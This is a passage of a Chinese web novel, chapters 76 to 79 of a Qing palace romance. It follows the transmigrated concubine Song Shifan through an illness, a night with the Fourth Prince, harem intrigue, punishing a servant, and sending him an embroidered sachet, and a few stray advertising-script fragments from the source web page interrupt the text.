等二人吃罢,方一搁下筷子,宋时繁又被催着躺了回去,她看着头顶绣着藤蔓和蝴蝶纹样,寓意着“瓜瓞绵绵”的床帐子,顿时感觉自己就像头小猪崽子,吃完了睡,擎等着养膘呢... 76. 男人不可信 被迫扮演小猪崽儿的宋时繁在心里叹了口气,又转了转眼珠子去瞧四爷。 只见四爷回到了书桌前,看那副模样是打算练会儿字,竟是一点儿没有要离开的意思。 宋时繁心下纳罕,她方才已经从白薇的口中得知,四爷自知道她病了后便一直待在这里等她醒过来,她想不通四爷这种人居然会把一整天的功夫都浪费在后院的女人身上,更何况,眼下她已经醒了,四爷怎么还不走? 倒不是宋时繁盼着四爷走,只是她如今病着,夜间又不能伺候,四爷能留到现在已经让她很稀奇了,眼看着她这院儿里都要熄灯了,四爷却还不打算走,难不成晚上四爷准备同她躺在床上干瞪眼吗? 也不怪宋时繁只能想到那档子事,毕竟,四爷先前留下来过夜的时候两人都会... 当然,宋时繁对此事的接受度还是可以的,毕竟她现在的身份是小妾嘛,而且四爷年轻力壮的,在这种事儿上她也算不上吃亏,况且,小妾有相当一部分存在的原因就是为了解决男主子的生理需求,要不怎么府上哪个格格若是病了或者来了月事都要去前院儿禀告一声呢,可不就是因着要以防万一吗? 所以,宋时繁目下看四爷还老神在在地练着字自然是满腹疑问。 想着想着,宋时繁便撑起身子,探出个头,把心里的疑惑问了出来:“四爷您不走吗?” “怎么?你想赶爷走?”四爷一边回应着宋时繁的话,笔下的动作却丝毫没有停滞。 宋时繁犹豫了片刻,还是期期艾艾地开口道:“四爷...奴才今晚上...不能伺候您的...”虽说心理上是接受了,可真到了说出口的时候,宋时繁仍是有些不好意思,一句话说得结结巴巴,还差点咬到自己的舌头。 什么伺候?要伺候什么?四爷一时间没反应过来宋时繁在说什么,待抬头看见宋时繁羞红了的半张脸这才有所醒悟,然后四爷便笑了。 宋时繁本就害臊,眼见着四爷脸上的笑意渐渐扩大,更是直接用手捂住了脸,颇有那么些羞于见人的意思,她甚至觉得自个儿脸上的温度越来越烫手了,难不成是又烧起来了? 这叫什么事儿啊,按着规矩她病了自然不该留四爷,可怎么话从她嘴里说出来以后却这么别扭,就好像...就好像她巴不得四爷同她做那事儿似的,恐怕四爷心里也是这么想她的,否则四爷干嘛笑得如此荡漾? 真是...没法说了! “奴才不是...奴才就怕,若是真伺候了四爷,再将病气过给您就不好了...”宋时繁想了想又解释了一句,可说到一半她彻底说不下去了,她到底在讲些什么污言秽语啊。 得,越描补越描不清了,感觉事情朝着奇怪的方向发展了。 宋时繁已经不想去看四爷的反应了,干脆躺回去装死算了,幸好白薇她们早就退下去了,否则她真是要没脸见人了。 果不其然,四爷在听见宋时繁这话以后笑得愈发开怀,几乎连手里的笔都要捉不住了,又见宋时繁把脑袋给缩回去了,便升起了要逗弄一下自家小格格的意思。 “看来想爷想得不轻啊,跟个猫儿似的,急什么?”四爷慢条斯理地搁下笔,用眼角余光瞧着宋时繁的方向。 就见宋时繁飞快地从床榻上伸出脑袋,气鼓鼓道:“谁着急了!四爷别胡说八道!” “爷胡说了吗?爷若是胡说了,你臊什么?” 宋时繁想反驳,可张了半天嘴却不知道说什么好,只得泄气般地躺了回去,哼,爱怎么想怎么想吧! 四爷等了一会儿没再听见宋时繁的动静,却也不肯就此放过她,“怎地不出声了?既这样害羞,方才做什么还要来撩拨爷?可见你是个没出息的,有贼心没贼胆哇。” “我没有。”宋时繁许是又埋进了被子里,声音里都带着些瓮里瓮气的。 四爷见状轻笑了一声,忽然朗声开口道:“来人,爷要沐浴。” 其实一般晚膳过后,四爷都是要练上一个时辰的字才会歇下的,一方面为着消消食,一方面也是有修身养性的意思在。 可今日,他听着小格格轻声道出的那些似是而非的话,又瞧着她娇娇怯怯地小模样,四爷的心潮难得澎湃了起来。 当下,四爷也练不下去字了,只想着赶紧搂到床榻上某位勾人却不自知的小东西。 不想,榻上的宋时繁忽然听见四爷开口要沐浴,立刻就联想到了他们二人方才说的奇奇怪怪的话来,心下不由生出恼意来,暗道四爷定是在故意作弄她,心眼子简直坏得没边儿了,连人生着病都不放过! 思及此,宋时繁努力强迫自己闭眼,心想着只要她睡着了,谁又能拿她这个病秧子怎么着不成? 可惜,宋时繁的计划泡汤了。 是真泡“汤”里了,概因四爷就是在她屋子里头沐的浴,只随意命人拉了一扇屏风算是略作遮挡。 可那玩意儿能挡住个屁啊! 若在平时,宋时繁还真没这么多想法,可眼下淅淅沥沥的水声正争先恐后地往宋时繁的耳朵里钻,想刻意忽略都难...甚至,宋时繁还能清晰地分辨出四爷此时在做的是什么动作,这简直是在折磨人嘛! 现在的宋时繁无比后悔,好端端地,她刚刚干嘛要多那句嘴,不然,说不定四爷这会子人都走远了。 走是不可能走的,四爷快速地洗了个澡,宋时繁还晃神呢,四爷就已经摸上榻沿了,奴才们倒是知机得很,一一将内室里的烛火都熄灭了,然后便静悄悄地退了出去。 顷刻间,天地间就只剩下宋时繁和四爷两个人了。 宋时繁犹自在紧张,四爷却已经将心心念念的人儿捞进怀里了。 “四爷!”黑暗中,宋时繁猛地感觉到自己的后背贴上了一个结结实实的胸膛,很是吓了一跳,忙惊呼出声。 四爷将头埋在宋时繁的后脖颈处,轻轻嗅了下宋时繁身上的味道。 没有腻歪人的脂粉香气,却自有一股由肌肤内里散发出来的淡淡幽香。 平日也没见小格格擦过什么香粉,怎么会这么香?勾得人心里痒痒的。 这会子,四爷也 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 反应过来自己有些孟浪了,竟对着个小格格把持不住了,还着急忙慌地沐浴爬床,简直不像是他的作风。 想到这里,四爷在宋时繁的背后低声笑开了,这声音离宋时繁极近,几乎是一下又一下地回荡在宋时繁的耳畔。 宋时繁整个人紧张到不行。 虽说那些亲密的事,她早就已经跟四爷做过了,还不止一次,可先前两人几乎都是熄了灯便直接开始了,即便没给宋时繁留下多少准备的时间,但四爷大刀阔斧的行动,倒还真省去她不少尴尬。 可这会子,四爷只是抱着她,却没有更进一步的动作,就这样任凭他们二人的呼吸交缠在一起,虽然没有别的动作,却莫名的叫宋时繁觉得现在的情况暧昧至极,甚至连她的身体都微微有些颤抖了。 四爷自然能感受到宋时繁的紧张,他在宋时繁的背后抚摸了两下以做安抚,然后低沉着声音道:“想什么呢?爷还能拿个病人怎么着不成?爷就是抱抱你,乖啊。” 宋时繁心下又是一囧,是啊,她有什么好紧张的,还真让四爷说着了,她可不是没出息嘛?不过就是抱一下,她居然跟个慌脚鸡似的,四爷现下肯定不知道在心里怎么瞧不起她呢! 念及此处,宋时繁深吸了一口气,力图让自己镇定下来,本来嘛,抱抱而已,这有什么的呀! 没承想,这时,四爷略带揶揄的声音又从她背后慢慢悠悠飘了过来,“还是说,你在期待什么呢?” 即便在黑暗里,宋时繁也能感觉到自己肯定已经从头红到脚了,她再也控制不住,转过身照着四爷的胸膛就是一剂粉拳,当然,力道轻得很,不知道的,还以为她在给四爷抓痒呢,毕竟,她也不敢下重手就是了。 四爷的大掌一伸便将宋时繁的小手包裹了起来,又用力把宋时繁往自己怀里带了带,这会子两个人已经是面对面贴着了,中间几乎没留下一丝儿缝隙,四爷感受着怀里触手可及的温度,到底没忍住,带着宋时繁的手就朝身下去了... “放心,你还病着呢,爷不干什么...” 最后...当然是什么都干了,男人若是心猿意马起来,说出来的话是一个字也不能信的。 忙活到后来,宋时繁实在没力气了,只得一声又一声地唤着四爷,以期他能放过自己。 殊不知,宋时繁在这种时候的求饶除了让四爷更加激动以外,毫无用处,更别提宋时繁沙哑着嗓子叫四爷的时候有多勾引人了。 直到子时,屋子里的动静才歇了下去,白薇跟竹苓忙进屋给宋时繁收拾,因宋时繁还病着,等闲也不敢沐浴,二人只能拧了帕子一点点帮宋时繁擦拭。 于是乎,不可避免的,四爷就看到了宋时繁身上,让他弄出来的青青紫紫的痕迹。 宋时繁皮子嫩,人又白净,一点儿痕迹看起来就严重得不行,当下四爷也后悔起来,方才若是轻点就好了。 嗯,不是后悔在宋时繁病中没忍住欺负了她。 果然男人都不可信啊... 这是宋时繁睡过去前最后的想法。 77. 没什么好怕的 寅时初刻,外头的天仍旧是黑沉沉一片。 宋时繁在朦胧间感觉到枕边传来些许悉悉索索的动静,她下意识便往身旁摸去,却正好被四爷抓住了她不安分的小手。 “无事,再睡一会儿吧...”四爷在宋时繁的耳边轻声开口。 往常,四爷都是差不多这个时辰就醒了,虽说昨晚跟宋时繁闹得凶,睡得有些迟了,可长久以来的生物钟还是让四爷在这个时间点就睁开了双眼。 既醒了,四爷便也躺不住了,可谁知他刚坐起身,不想竟是惊动了宋时繁。 四爷将宋时繁乱摸的手捉回了被子里,又柔声安抚了她一句,想让宋时繁继续睡。 他自己醒了也就罢了,但宋时繁还病着呢,合该多休养休养,没得这么早就把人吵醒。 至于规矩里,宋时繁应当起身伺候他的这档子事,倒是被四爷刻意忽视了。 显然,宋时繁没有那么肥的胆子敢直接忽略四爷,虽觉得上下眼皮子沉重得很,但仍旧撑起身子,半眯着眼去瞧四爷,嘴里还嘟囔着问了一句:“四爷...现在几点啦?”迷迷糊糊之间倒是将从前的说法都带了出来。 不过宋时繁声音太小,又含含糊糊的,四爷没太听清,只是瞧见宋时繁半边身子皆露在外头,虽说还穿着寝衣,可到底单薄,四爷赶忙用被子将宋时繁整个儿裹住,嘴里还训斥她:“怎地坐起来了?身子刚好些,哪里由得你这样折腾!” 宋时繁又不是傻的,她能感觉出四爷是真地在关心她,不禁心下一暖,脱口而出就是一句,“奴才不冷,奴才伺候四爷吧!” 她的本意当然是要伺候四爷穿衣洗漱,先前白薇就反复同她交代过,若是四爷留宿的话,早晨的时候她定是要起床跟着伺候的,奈何宋时繁的睡眠质量太好,几乎没有一次能主动醒过来。 然而四爷仿佛并不在乎这些小节,一般见宋时繁睡得熟就不会吵醒她,甚至还不许旁人叫她,只自顾唤了奴才们进来伺候也就罢了,所以,宋时繁到目前为止还真就一次都没有伺候过四爷起床。 思及此,宋时繁不由地有些心虚,她这个小妾当得,委实是有些不大合格。 虽说宋时繁并不觉得自己就低谁一等了,只是大环境如此,守规矩总好过主动破坏规矩,眼下,四爷不管是出于看重大格格还是什么别的原因,确实是愿意担待她几分,可若是日后四爷看她不顺眼了,那她现在的种种放肆就都是错处了,到时候怕她连死都不知道是怎么死的。 因此,宋时繁这会子既然醒了,肯定不能一味躲懒,兼之四爷方才的关心也作不得假,宋时繁便更要向四爷表一表自己的忠心了,她即便是再不知道该如何争宠,但献献殷情还是会的。 可谁承想,四爷却是不知想到哪里去了,竟误会了宋时繁话里的意思。 只见四爷略一挑眉,朝着宋时繁轻笑开口:“一大早就想着法子来勾引爷,也不知道害臊。” 真是不怪四爷乱想,两人昨晚上的激烈场景还历历在目呢,毕竟也就是两个时辰前发生的事嘛,宋时繁又忽然软着嗓子来上这么一句,任谁听见都要往岔了想。 偏四爷还状似安抚地揉了揉宋时繁的头发,“乖,还病着呢,爷晚上再来看你,今儿个请安你就别去了,爷让苏培盛去跟福晋打个招呼,快躺下吧,听话。” 四爷说罢,又带了三分强硬地将宋时繁按回到床上,还再三叮嘱她要好好喝药,见宋时繁俱都一一应下,四爷这才转身出了门。 好吧,四爷盛情难却,宋时繁只得抱着被褥又睡了个回笼觉。 再次醒来的时候,丫鬟们说已经辰时了,宋时繁掰着手指头算了算,估摸着也就是早晨七、八点钟的样子。 她心下不觉有些好笑,想她曾经没有课的时候,睡到下午一两点钟都是常有的事,如今日日五点就要爬起来不说,难得睡到八点钟居然都算是起晚了,不过,她转念又想到四爷凌晨三点多就已经出门了,简直比鸡起得都早,她能睡到现在确实应该知足了。 想到这里,宋时繁也不再赖床,抻抻懒腰就由着白薇把自己扶了起来。 当然,起床的第一件事就是要喝药。 宋时繁捏着鼻子一口气儿将药汁灌进肚子里,又胡乱从碟子里抓了两个蜜饯塞进嘴里,这才将恶心反胃的感觉压了下去,该说不说,中药实在太苦,她着实有点子想念感冒发烧打一针就能好的时候了。 唉,多想无益。 今日起晚了,早膳便只得简单凑合一下了,毕竟膳房那边不可能单为了她一个人开火。 好在宋时繁不怎么挑嘴,就着牛乳茶,吃了几块糕点便觉得差不多了,反正她这会子刚起床也没什么胃口,还是等到午膳的时候再正经吃吧。 不想,白薇又从食盒里端了一碗燕窝出来,“格格,您喝点儿燕窝吧,这是膳房刚炖出来的呢。” 燕窝昨晚上她倒是也喝了一盅,因着格格的份例里是没有这种东西的,所以那会子她只当是沾了四爷的光,以为膳房看在四爷的面子才呈上来的,怎么今日还有? 宋时繁想到便也问了出来:“这会子怎地有这个?应当不是规矩里的东西吧。” 白薇笑吟吟解释道:“是主子爷昨晚上就吩咐下来的,说您身子弱需要调养,便让膳房每日给您炖一盅燕窝送来。” 宋时繁闻言点点头,这才接过白薇递来的汤匙,慢慢喝了起来,其实这东西算不上好吃,还有股淡淡的腥味,不过既然是四爷特意嘱咐过的,又对身体好,宋时繁便也干脆当药喝了。 “格格,还有一事,正院方才来人传话,说往后格格们不用日日去正院请安了,只初一和十五去就是了。” 宋时繁有些诧异,福晋那么喜欢摆架子、立规矩的人居然肯免了她们的请安?这可太稀奇了! “太阳这是打哪边儿出来的?好端端地,怎么这么突然?”宋时繁都忘了手里的动作了,望着白薇惊讶出声。 “奴才也不知,福晋是忽然派了人来传的话,大喇喇的,只丢下这么一句,别的什么也没说就走了,依着奴才看,倒是好事儿呢,格格您不是不耐烦早起?如今每月里只用起来两天了,格格也能轻省轻省...”白薇在宋时繁身侧小声说道。 “嘘!慎言,到外头可不能这么说,反显得咱们不尊重福晋似的。”宋时繁忙用眼神止 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 住白薇的话头,不让她继续往下说了。 “哎,奴才明白,不敢往外面说的。”白薇刚刚也没想那么多,这会子细细一琢磨便觉出不妥来,赶紧住了嘴。 宋时繁却是皱着眉头陷入了沉思,不知道福晋这是要闹哪出。 思索间,就见白薇犹犹豫豫地张开嘴巴又合上,明显是有话不敢说的样子。 宋时繁见状便笑了:“瞧你,方才我就是提醒你一句,怕你不留神在外人面前也这样没了忌讳,不曾想竟是把你给吓住了,有什么话就说吧。” 白薇抿了抿唇终是开口道:“奴才是听三宝子说,晨起的时候,主子爷先回了前院,然后不知怎地又去了一趟福晋的院里,紧接着福晋就派人到各院里传话了...” “你的意思是,四爷让免了请安的?”宋时繁挑了挑眉。 白薇摇了摇头,不确定地说:“奴才也不知道,只是昨日...格格您病倒以后,李格格那边也让人叫了大夫。” “李格格病了吗?” “倒没有,是李格格身边一直跟着的贴身丫鬟病了一个,李格格看重她,亲自吩咐找了大夫来瞧,还报到前院去了。” 宋时繁一听就知道李格格是故意的,昨日福晋不管有心还是无意,总归是让一府里的人都跟着受了罪,四爷心内必定气闷,否则也不会见她病了便一直陪着,其中未必没有要给福晋脸色看的意思。 李格格倒是聪明,打蛇随棍上,马上就说自己的丫鬟也病了,可按理说后院的人事都应该归福晋管,李格格的奴才得了病自然该报给福晋知道,是找大夫治病还是挪出去都得听福晋的吩咐,不想李格格竟直接找到前院请大夫过府给丫鬟瞧病,却是全然没有把福晋放在眼里了。 显然,李格格这就是仗着四爷恼了福晋,在背后挑拨四爷和福晋的关系呢。 虽说李格格这样一闹,四爷肯定会对福晋更加不满,但李格格自个儿也叫福晋记恨上了,顺带着还牵连了她,倒显得她这个真病的都像是装病一样了,等四爷回过神来,保不齐还会觉得她是跟李格格串通好了的呢。 不愧是李怼怼,还真是无差别开火啊,狠起来连她自个儿都不放过。 而且,经白薇的提醒,宋时繁又想起先前李格格的异样来。 她可没忘了自己是因为什么病的,当然,主要原因肯定是淋了雨受了寒,但归根结底还是被李格格突如其来的变化给吓到了。 其实现在再回想一下,宋时繁纯属是自己吓自己了。 就依照目前李格格的作妖程度来看,即便她真得了什么机缘,通晓了未来之事,若是仗着这份预知就为所欲为的话,迟早会害了她自己的。 如今,李格格这样嚣张怕不就是因为笃定未来她会给四爷生下三子一女,甚至还会成为侧福晋进而被封妃吗? 可万事万物,哪怕只是一点儿微小的改变也会产生巨大的影响,比如此刻,宋时繁不知怎么来到了这里,取代了原主,但是大格格活了下来,日后她们这些人到底有怎样的际遇谁又能够说得清呢? 想通这些后,宋时繁继续一勺一勺慢悠悠地吃着燕窝,心里却没有那么害怕了。 78. 头一回罚人 “格格!” 宋时繁刚放下碗,正拿了帕子拭嘴呢,便听见石桥狼嚎似的喊了她一声,好悬没把她给吓着。 宋时繁一抬眼,石桥泪眼婆娑的脸就出现在她面前,身旁还站着竹苓,也是一副有话要说的模样。 “这是怎么了?在外头受欺负了?”宋时繁心下纳罕,想着莫不是叫府里人给作践了不成?否则好端端地,石桥怎会哭得这样凄惨? 宋时繁将疑惑的目光投向竹苓,竹苓抿了抿唇,而后偏过头厉声训斥了石桥一句:“还不快给格格跪下!” 石桥闻言腿一软,“扑通”一声就跪了下去,只见他一对膝盖重重地撞到了地面上,得亏是有一层地毯铺着在,否则石桥的这一双膝盖怕是就要碎了,这还不算,石桥又开始对着宋时繁磕头。 这阵仗一出来,宋时繁还有什么明白的?看来,石桥应当没有被外人欺负,而是他自己犯了错所以来找她请罪的。 于是乎,宋时繁也就不着急叫石桥起来了,只静静瞧着他,等他自己开口。 宋时繁也清楚她身边的人平日里看上去个个都是好的,可暗地里有什么心思谁也闹不明白。 她虽然打心底里不愿把这几个人当奴才看,可她也委实不想拿自己的命开玩笑,因此,若是真有人行差踏错,她还是要管一管的,否则日后酿成大祸,不光会牵连她,怕是还得搭进去好几条人命,先前,安秀秀身边的那个丫鬟,可不就是当着她们的面被直接打死了吗? 哪怕现在回想起当时的场景,宋时繁依旧觉得胆寒不已,胃里仿佛还有酸水想往外冒。 思及此,她就更不可能姑息身边人的错处了,那不是善良,反而会害人害己。 堂下跪着的石桥见宋时繁一直不发话,心里怕得很,但还是状着胆子开了口:“格格,昨日您之所以会晕过去,实际上都是因着奴才的过错...是奴才往屋子里多放了几个炭盆,又关了窗,这才让格格您吃了如此大的苦头...奴才罪该万死!求格格您罚奴才吧...” 紧跟着,竹苓便把昨日于太医的诊断细细同宋时繁说了一遍,又交代了当时她不许石桥在四爷面前请罪的事,“奴才想着,就算石桥有错也是咱们自己院儿里的事,到底该让格格发落了他才好,便将石桥拦了下来,还请格格饶恕奴才的自作主张。”竹苓冲着宋时繁福了福身。 竹苓解释过后,宋时繁倒着实是松了一口气,她怕得是底下人不知轻重,见四爷最近多往她院子里跑了几趟,便分不出眉眼高低了,再仗着这个到外头去惹祸。 这会子再听竹苓一说,虽然肯定是有屋子里不透气导致了缺氧的缘故,但她觉得自己昨日晕倒,主要还是被吓得,所以跟缺氧的关系应当不大,如果真地只是石桥好心办了坏事也没什么大的妨碍,毕竟石桥也没有坏心眼嘛。 不过,该给点儿教训却是真的,否则其余人见犯了错也不用被罚,人心涣散了后面再想抓住那可就难了,别再到时候一味觉得她好欺,那她这个小院里才真是没了章法呢。 故而,宋时繁沉吟了片刻,将要说的话在心中反复思量好后,这才缓缓启唇道:“我听下来也不算是什么大事,可真要论起来到底还是你伺候得不经心,若我不罚你难保你下次还会再犯,旁人看着也不像个样子...便就罚二十个手板,然后你自去廊下站上两个时辰吧。” 这算得上是宋时繁第一次正经要罚谁,她思前想后还是觉得打手比较人道,既不会伤到人的筋骨,也能长长教训。 而且她小时候如果犯了错,她妈就会打她手心然后让她去墙根下面罚站,几个小时站下来,腿肚子都跟着打颤,她下次就不敢再犯了,如今把这一套用在石桥他们身上应当也是行得通的,宋时繁如是想道,当然,这一切也要感谢她妈给她出的好主意。 石桥却没想到自己能这么轻松就过了关,毕竟害得主子大病一场就是打死他也是不为过的,哪怕侥幸留了一条命,保不齐也是要把他退回内务府的,到时候可就没有这样好的差事能让他领了,搞不好连个粗使太监都混不上。 可眼下,他不光命留下来了,就连差事也没丢,还能继续跟在主子身边伺候,这都是宋时繁发了善心的缘故,多亏他当初没挑错主子而是一心跟着宋时繁,否则今日恐怕就是个死。 想到这里,石桥的鼻涕眼泪就一齐往下流,又给宋时繁磕了好几个头,直把额头磕得肿起来个大包才算完:“多谢格格,多谢格格,奴才到死都记着格格的恩德,再不敢忘...” “好了好了,你若再这么磕下去我怕是要折寿了,赶紧起来吧。”宋时繁示意白薇将石桥扶了起来。 “格格您肯定长命百岁!”石桥忙接话,语气里还带着哽咽,把宋时繁都逗乐了。 “你若真记着格格的恩情,以后好生办差事就是了,可不敢再有昨日那样的疏忽了,瞧你,哭得这样,也不怕招了格格的厌恶,快擦一擦吧,”白薇拿着帕子给石桥抹了把脸,末了又将手帕直接塞到石桥的手上。 石桥一听白薇这话也不敢再哭了,忙用袖筒子掩去面容,低下头轻声道:“白薇姐姐说的是,那格格您先休息,奴才这就下去领罚,不敢再接着打扰格格了。” 宋时繁摆摆手,示意石桥退下。 待石桥离开后,宋时繁端起桌上的茶盏抿了口茶,而后才缓缓开了口:“石桥的事已经了了,”说到这里,宋时繁又停顿了一会儿,随手搁下茶碗,继而用一双翦水秋瞳定定看向竹苓,掀开红唇问道:“那么竹苓你呢?你可知道自己错在哪儿?” 竹苓闻言脸上显出些惊慌来,她来不及思索,当即便跪了下去,伏在地上呐呐道:“奴才不知,求格格不吝赐教。” “你既不知自己错在哪儿了,便下去吧,等你什么时候想明白了,再回我身边来伺候。” 一语毕,宋时繁就移开视线,不肯再开口了,竹苓无法,也不敢继续问,只得惨白着一张脸退了出去。 宋时繁则当看不见,兀自起身去书桌旁边的架子上摸了一本游记出来,津津有味地翻了起来,虽然有好些字都认不全,可连猜带蒙着,也凑合能看下去,权当是解闷了。 白薇见状安静地侍立在一旁,不时给宋时繁添个茶什么的,却不敢过分打搅,她倒是有心想替竹苓问问自家格格的意思,但见格格一副不打算开口的样子,她也只好管住自己的嘴巴,默 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 默在心里警告自己不要多言。 一个时辰很快过去,宋时繁捧着书也渐渐看出点儿兴味来。 她长日不是在屋子里呆着就是与眼跟前的这几个人说说话,别提多无聊了,当然,倒是也能去花园子里转上一转,可出门的话难免会碰上旁的人和事,如今府里两个格格又都有身孕,不怕一万就怕万一,她不愿意沾染这些是非,索性还是少出门得好。 但关起门来,宋时繁总得给自己找点乐子,否则人迟早要憋坏了。 原本,她这里的书还真不多,原身并不是个喜欢看书的,仅有的寥寥几本不是《女诫》就是《列女传》,宋时繁只在先前略翻了翻就搁下了,眼下,她这里书架子上摆着的几乎都是四爷从前院搬过来的,细算算,她倒是沾了四爷不少的光,反正四爷没说不准她看这些书,那她闲暇时候拿来读一读打发时光应当也不算不守规矩。 又过了一会儿,白薇见宋时繁搁下书后伸手揉了揉眉心,仿佛是累了,便道:“格格已经看了许久了,歇一会儿吧,否则眼睛要受不住的,您如今可还病着呢,万不能太过劳累了。” 宋时繁倒还真不累,坐着看书能有什么累的,只不过确实已经看了许久了,于是她便“嗯”了一声,嘱咐白薇将游记好生收起来。 “格格您午膳可有什么想吃的?若有的话奴才这会子就让人去膳房点了来,您中午就能吃上了。”白薇一边把书往架子上放,一边询问宋时繁的意见。 宋时繁支着头想了一会儿,还真叫她想出一道菜来。 “我想吃炸虾皮。”宋时繁早晨压根没吃多少东西,方才倒是喝了不少茶,可也不顶饱,这会子听白薇一问她就觉得饿了,继而便想起这个来了。 白薇闻言先是一愣,过后想了想才试探着道:“奴才刚刚约莫是听错了...格格您是想吃虾吗?奴才这便去膳房...” “不是虾,是虾皮。”宋时繁心下好笑,耐着性子跟白薇解释:“虾子剥了皮以后,把虾皮留下来,外头裹上一层面粉,完了用油炸好,最后再在上面撒一点儿盐粒子就成了,我现在就想吃那个。” 白薇看着宋时繁张了张嘴,有些欲言又止,想说没有叫格格吃虾皮的道理,可见自家格格说得头头是道的,到底忍住了没去破坏宋时繁的兴致,也罢,就叫膳房照格格说的做了来,回头等格格尝了,若是不好再撤下去也就是了。 思及此处,白薇应声退下,去外头找曹三宝到膳房传话。 膳房那边听了宋时繁的要求也均是一脸懵,这叫个什么吃法啊? 不过曹三宝人小嘴却甜,一溜哥哥、爷爷地叫着,又是带了银子来的,膳房的人便也不好推拒,只得按着宋时繁说的做法预备上了。 午膳的时候,宋时繁便吃上了炸虾皮。 膳房的师傅们还是有些功底在身上的,小小的一道炸虾皮,虽说他们是头一回做,可火候控制得刚刚好,虾皮炸得是又酥又脆,兼之其本身自带的香味,再配上膳房送来的鸡丝粥,宋时繁几乎将一碟子都吃光了,把个白薇直接看傻眼了,她都有些怀疑自己是不是没吃过什么好东西才不懂啥叫美味,莫非...这虾皮真有这么好吃不成? 79. 深闺小怨妇 因宋时繁病着,一天下来也没什么事好忙的,兼之她的风寒尚且不算小病,宋时繁便愈发不敢去见大格格,只不时让奶娘们隔着门跟宋时繁汇报一下大格格吃得如何,亦或是睡得好不好,她也仅仅能从这些只言片语中略微缓解一下对自家女儿的思念之情。 白薇在一旁见宋时繁惆怅得很,便想引她找点事情来做。 “格格先前不是正在给主子爷绣荷包?这两日倒是有些耽误了,眼下既然得了空闲,格格您何不继续绣下去?早日将荷包绣好也能早点儿送给四爷呢。”白薇寻着话头同宋时繁说。 宋时繁差点把这事儿给忘了,幸好白薇提醒了一嘴。 她那个荷包如今还不成个样子呢,是得抓紧时间绣好才是。 思及此,宋时繁吩咐白薇把绣绷子和针线等物拿过来,她趁着这会儿天光正好,对着窗户就捻起针线来,竹苓已经将针法都教给她了,她便依着先前的针脚一点点绣着兰花的叶子。 有事可做,时间倒是消磨得飞快,一下午的功夫过去,宋时繁好歹是将荷包上的花样绣出来了,正在白薇的指导下一点点把荷包缝起来。 虽然宋时繁的绣活不及手艺精湛的绣娘们,做出来的荷包也没那么精致好看,可怎么说都算是她的一片心意,甭管成不成反正就是它了,等会儿宋时繁就打算让人将荷包给四爷送过去。 “成了,你再去药房领些提神醒脑的药材来,于太医都开好方子了,你照着取药就行,然后把药材装到荷包里,再让人送去前院便是了。”宋时繁缝完最后一针后,把剩余的丝线打了个结,又捏着荷包左右翻看了一下,确定没什么大问题后就把荷包交到了白薇的手上。 这还是自家格格第一次主动要给四爷送东西呢,白薇自然是一万个小心,仔细记下了宋时繁说的话,捧着荷包问宋时繁:“格格,您可有什么话要带给四爷的?” 宋时繁心道光送个荷包还不成?居然还要带话?这可着实是有点为难她了,带个什么话给四爷好呢? 她支着脑袋想了半天也想不出一句合适的话来,毕竟她先前还真没有这方面的经验嘛。 思来想去的,宋时繁也有些烦躁了,她干什么又要送东西又要编情话的?本来就没多少的脑细胞,这下好了,干脆全都要死光了。 最后,她索性直接随意地扯了一句“努力加餐勿念妾”,竟是将卓文君的《诀别词》都拿出来用了,也不想想她现下是在给四爷送定情信物呢,却弄出这样伤感的一句话来,也不知等下子四爷听了以后会作何感想。 可惜,白薇没念过多少书,不明白这话是什么意思,只知道照着宋时繁的吩咐去做事,而宋时繁知道却也懒得管了,其实,她还隐秘地存着一丝要试探一下四爷的意思,想知道四爷听了这话会不会来问她。 所以,看着白薇渐渐远去的身影时,宋时繁的心里居然还冒出些许期待来。 白薇不敢耽误,亲自去药房照着方子领了药材,又仔细地装进荷包里,然后脚步一刻不停地就找到石桥,让他把荷包送去前院。 “这可是咱们格格亲自绣的,为着这个忙活了好久呢,你可别出岔子,定要送到主子爷的手上才成,另外,格格交代的话你也莫要忘了...”白薇不放心,拉着石桥唠叨了半天。 “白薇姐姐放心吧,我指定把格格交代下来的差事办妥当。”石桥跟白薇打了包票,信誓旦旦地朝着前院去了。 前院里,石桥笑吟吟地找上了苏培盛。 “苏爷爷好,您老忙着呢?” 苏培盛一抬头就认出石桥来了,是宋时繁身边跟着的那个小太监,昨日也是他来前院说宋时繁病了,想起宋时繁,苏培盛到底是给了石桥几分面子,掀开眼皮撇了石桥一眼,才慢悠悠开口道:“是你小子啊,今儿怎么又往前院里来了?”想了想,苏培盛还加了一句:“可是宋格格有什么不好?”没办法,这位主儿真是有点子娇弱在身上的,一不留神就要病一场,奈何主子爷偏对她上心得很,便也由不得苏培盛不谨慎了。 “劳苏爷爷记挂,我们格格好着呢,但格格病中犹惦记着主子爷,便嘱托我来给主子爷送点东西,苏爷爷你瞧,这可是我们格格一针一线亲自绣的,就为了送给主子爷呢。”石桥原是将荷包装在一个小匣子里的,这会子便打开来给苏培盛过目。 苏培盛探头一看,嘿,这荷包还真是...朴素,用的不是什么名贵的布料,上头花样也简单,绣活嘛,更是平平无奇,除了闻起来有些奇异的香气以外,还真是一点儿也没有出彩的地方。 又见石桥动作间小心翼翼地,待苏培盛瞧了一眼后便赶忙盖上匣子,仿佛里头是什么稀世珍宝似的,苏培盛不由在心底嗤笑了一声,就这种荷包扔大街上都不一定有人捡呢,用得着这么战战兢兢的吗? 不过,苏培盛也只是想想,毕竟主子们的事做奴才的还是不要置喙得好,万一四爷见了就觉着好呢? 念及此处,苏培盛也不欲为难石桥,接过匣子便进了书房。 “主子爷,宋格格送东西来了。”苏培盛低声对着四爷道。 书桌前,四爷正紧锁着眉头在看手头上的一份公文。 最近皇阿玛指派了不少事给他做,这是皇阿玛看重他的意思,不管因为什么,他都不想叫皇阿玛失望,故而最近,四爷忙得是焦头烂额,这会子见苏培盛贸然进来打扰,四爷心下原本还有些不满,可下一秒,他就听见苏培盛说宋时繁给他送东西来了,当下也顾不上公文了,抬手便让苏培盛将东西呈上来。 